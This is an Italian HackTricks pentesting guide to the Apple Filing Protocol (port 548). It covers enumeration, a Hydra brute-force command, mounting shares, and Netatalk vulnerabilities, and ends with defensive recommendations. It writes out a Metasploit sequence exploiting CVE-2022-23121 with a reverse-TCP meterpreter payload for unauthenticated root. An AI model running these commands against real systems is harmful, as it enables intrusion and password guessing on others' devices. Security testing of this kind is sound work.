548 - Pentesting Apple Filing Protocol (AFP)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Il Apple Filing Protocol (AFP), un tempo noto come AppleTalk Filing Protocol, è un protocollo di rete specializzato incluso allâinterno del Apple File Service (AFS). Ă progettato per fornire servizi di file per macOS e il classico Mac OS. AFP si distingue per il supporto dei nomi di file Unicode, delle autorizzazioni in stile POSIX e ACL, dei resource forks, degli attributi estesi nominati e di meccanismi di blocco dei file sofisticati.
Sebbene AFP sia stato superato da SMB nelle versioni moderne di macOS (SMB è il predefinito dalla versione OS X 10.9), è ancora presente in:
- Ambienti legacy di macOS / Mac OS 9
- Dispositivi NAS (QNAP, Synology, Western Digital, TrueNASâŚ) che integrano il demone open-source Netatalk
- Reti miste di sistemi operativi dove Time-Machine-over-AFP è ancora abilitato
Porta TCP predefinita: 548 (AFP su TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumerazione
Informazioni rapide su banner / server
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Utili script NSE per AFP:
| Script | Cosa fa |
|---|---|
| afp-ls | Elenca i volumi e i file AFP disponibili |
| afp-brute | Attacco di forza bruta della password contro il login AFP |
| afp-serverinfo | Estrae il nome del server, il tipo di macchina, la versione AFP, gli UAM supportati, ecc. |
| afp-showmount | Elenca le condivisioni insieme alle loro ACL |
| afp-path-vuln | Rileva (e può sfruttare) la traversata delle directory, CVE-2010-0533 |
Lo script di forza bruta NSE può essere combinato con Hydra/Medusa se è necessario un maggiore controllo:
hydra -L users.txt -P passwords.txt afp://<IP>
Interagire con le condivisioni
macOS
# Finder â Go â "Connect to ServerâŚ"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (utilizzando afpfs-ng â incluso nella maggior parte delle distribuzioni)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Una volta montato, ricorda che i classici resource-forks di Mac sono memorizzati come file nascosti ._* AppleDouble â questi spesso contengono metadati interessanti che gli strumenti DFIR trascurano.
VulnerabilitĂ comuni e sfruttamento
Catena RCE non autenticata di Netatalk (2022)
Diversi fornitori di NAS hanno distribuito Netatalk â¤3.1.12. La mancanza di controllo dei limiti in parse_entries() consente a un attaccante di creare unâintestazione AppleDouble malevola e ottenere root remoto prima dellâautenticazione (CVSS 9.8 â CVE-2022-23121). Unâanalisi completa da parte di NCC Group con PoC che sfrutta Western-Digital PR4100 è disponibile.
Metasploit (>= 6.3) include il modulo exploit/linux/netatalk/parse_entries che consegna il payload tramite DSI WRITE.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Se il target esegue un firmware QNAP/Synology vulnerabile, unâesploitazione riuscita fornisce una shell come root.
Overflow del heap OpenSession di Netatalk (2018)
Le versioni piĂš vecchie di Netatalk (3.0.0 - 3.1.11) sono vulnerabili a una scrittura fuori dai limiti nel gestore DSI OpenSession, consentendo lâesecuzione di codice non autenticato (CVE-2018-1160). Unâanalisi dettagliata e un PoC sono stati pubblicati da Tenable Research.
Altri problemi notevoli
- CVE-2022-22995 â Redirezione di symlink che porta a scrittura di file arbitrari / RCE quando AppleDouble v2 è abilitato (3.1.0 - 3.1.17).
- CVE-2010-0533 â Traversata di directory in Apple Mac OS X 10.6 AFP (rilevato da
afp-path-vuln.nse). - Sono stati risolti diversi bug di sicurezza della memoria in Netatalk 4.x (2024) â si consiglia di aggiornare piuttosto che applicare patch a singoli CVE.
Raccomandazioni difensive
- Disabilitare AFP a meno che non sia strettamente necessario â utilizzare SMB3 o NFS invece.
- Se AFP deve rimanere, aggiornare Netatalk a ⼠3.1.18 o 4.x, o applicare firmware del fornitore che riporta le patch del 2022/2023/2024.
- Applicare Strong UAMs (ad es. DHX2), disabilitare accessi in chiaro e guest.
- Limitare TCP 548 a sottoreti fidate e incapsulare AFP allâinterno di una VPN quando esposto remotamente.
- Scansionare periodicamente con
nmap -p 548 --script afp-*in CI/CD per catturare dispositivi non autorizzati / downgradati.
Brute-Force
Riferimenti
- Netatalk Security Advisory CVE-2022-23121 â âEsecuzione di codice arbitrario in parse_entriesâ https://netatalk.io/security/CVE-2022-23121
- Tenable Research â âSfruttare un bug di 18 anni (CVE-2018-1160)â https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

